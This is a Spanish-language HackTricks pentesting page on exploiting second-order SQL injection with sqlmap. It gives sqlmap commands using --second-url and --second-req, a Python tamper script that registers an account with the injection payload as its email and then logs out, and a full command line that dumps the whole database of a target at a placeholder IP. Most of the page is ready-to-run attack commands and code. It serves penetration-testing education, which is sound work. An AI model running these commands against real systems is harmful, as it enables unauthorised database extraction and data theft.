hacktricks/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

SQLMap puede explotar Segundas Ordenes SQLi.
Necesitas proporcionar:

  • La petición donde se va a guardar el payload de sqlinjection
  • La petición donde el payload será ejecutado

La petición donde se guarda el payload de SQL injection se indica como en cualquier otra inyección en sqlmap. La petición donde sqlmap puede leer la salida/ejecución de la inyección se puede indicar con --second-url o con --second-req si necesitas indicar una petición completa desde un archivo.

Ejemplo simple de segunda orden:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

En varios casos esto no será suficiente porque necesitarás realizar otras acciones aparte de enviar el payload y acceder a una página diferente.

Cuando esto sea necesario, puedes usar un tamper de sqlmap. Por ejemplo, el siguiente script registrará un nuevo usuario usando el payload de sqlmap como correo electrónico y cerrará la sesión.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def login_account(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

    params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
    url = "http://10.10.10.10/create.php"
    pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

    url = "http://10.10.10.10/exit.php"
    pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    login_account(payload)
    return payload

Un tamper de SQLMap siempre se ejecuta antes de comenzar una prueba de inyección con una carga útil y debe devolver una carga útil. En este caso, no nos importa la carga útil, sino enviar algunas solicitudes, por lo que la carga útil no se cambia.

Por lo tanto, si por alguna razón necesitamos un flujo más complejo para explotar la inyección de SQL de segundo orden, como:

  • Crear una cuenta con la carga útil SQLi dentro del campo "correo electrónico"
  • Cerrar sesión
  • Iniciar sesión con esa cuenta (login.txt)
  • Enviar una solicitud para ejecutar la inyección de SQL (second.txt)

Esta línea de sqlmap ayudará:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥